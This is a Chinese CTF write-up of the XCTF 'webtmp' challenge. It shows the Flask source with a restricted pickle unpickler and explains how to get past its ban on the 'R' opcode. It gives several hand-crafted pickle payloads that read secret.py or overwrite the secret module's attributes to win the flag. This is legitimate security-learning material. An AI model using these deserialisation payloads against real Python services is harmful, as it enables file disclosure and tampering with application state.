0%

XCTF 抗疫赛 webtmp

[XCTF 抗疫赛] webtmp

python的反序列化漏洞,看opcode手搓pickle来完成,萌新头一次在真正的比赛上打出了输出呜呜呜

源码

import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import secret


app = Flask(__name__)


class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin:
        return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = restricted_loads(base64.b64decode(pickle_data))
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(secret.name, secret.category))
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
        except Exception as e:
            print(repr(e))
            return "Something wrong"

    sample_obj = Animal('一给我哩giaogiao', 'Giao')
    pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
    return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

函数不多,类定义的都是一些方便使用的魔法方法,强化了pickle反序列化的限制,重写find_class函数,只允许使用main里面的方法,然后也很明显的给了一个read函数,看一眼就知道是利用这个函数读文件读flag。
pickle反序列化时的命令执行都是调用find_class函数返回一个可执行对象,而find_class的本质其实是getattr(module, name),这里重写了find_class把可调用的对象限制在了main中
而通常使用pickle执行命令使用的opcode R被过滤了,但是既然思路是这个样子,就肯定有别的方法去执行命令,然后就去看opcode,看opcode的详细说明,发现创建一个类实例的opcode同样是调用find_class方法实现的,也就意味着创建类实例的opcode同样可以执行命令。

接下来思路就很清晰了,首先调用read函数读取关键文件,但是若想获得内容还需要反序列化对象是一个Animal,然后在被渲染的html中带出,那么就是将read的返回值作为一个参数用来初始化Animal类,由于他会显示反序列化出来的类的内容,即可外带获取。
之后就是研究这个栈语言怎么写,如何把调用的返回值作为参数构造类如何。

踩坑

其中有两个坑,第一个是Windows和Linux下python的反序列化是有区别的,而我习惯在pycharm上干活,结果在pycharm上调通的payload打半天打不下去呜呜呜,浪费了一个多小时。
其次是源码执行过程中有一个异常处理,我一开始想直接猜flag位置直接读一波,结果每次都会出现一个异常,而本地是能跑通的,我和他的区别就是少了最后的那个渲染返回,后来估计是flag位置猜的不对,读不出数据来渲染就会触发异常
最后是看他直接import了secret,直接去读了secret.py,拿到了secret里面的name和category,然后按照他的要求构造一个打过去拿到flag的

记一下payload

(c__main__
Animal
S'i29skam3ls'
(c__main__
read
S'secret.py'
oo.

参考链接

查资料的时候看到的一个opcode解释和使用样例的连接
https://xz.aliyun.com/t/7012

Null的wp

比赛结束之后看到了null的wp,他们的payload思路不同,直接重新引入一个secret模块进行覆盖,然后判断为真也可通过判断
payload:

\x80\x03c__main__\nsecret\n}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00233X\x08\x00\x00\x00categoryX\x03\x00\x00\x00233ub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00233X\x08\x00\x00\x00categoryX\x03\x00\x00\x00233ub.

这里首先用c获取一个导入main中的secret,然后用}压入一个空字典,(设置Mark,用X接连填入参数,u将Mark后的数据弹出添加到之前的空字典中,使用b修改实例的__dict__(存储当前实例的属性),至此完成了对secret属性的修改,然后用0将其pop出栈,开始构建animal实例,之后的部分再创建一个和覆盖过的属性相同的对象就可以通过检测了
构造时先引入animal,用)压入一个空元组,\x81表示用class的__new__方法通过元组创建实例,(放入一个Mark,X压入字符串,q表示一个1byte大小的参数,X压入参数,u将其作为键值对弹出,b更新字典,完成对animal的构建,.结束pickle

但是没懂这个\x00这些字符是怎么来的,不懂

所以自己按照这个思路重写了一个payload

c__main__
secret
(S'name'
S'233'
S'category'
S'233'
db0(c__main__
Animal
S'233'
S'233'
o.

感觉看得懂多了,毕竟用的opcode少了不少,我最后也没有看懂null的神仙那个X的opcode怎么用
对着上面那个链接的举例构造起来还挺容易的
R这个调用的opcodeban了之后用o i这两个代替还是挺好用的,没什么区别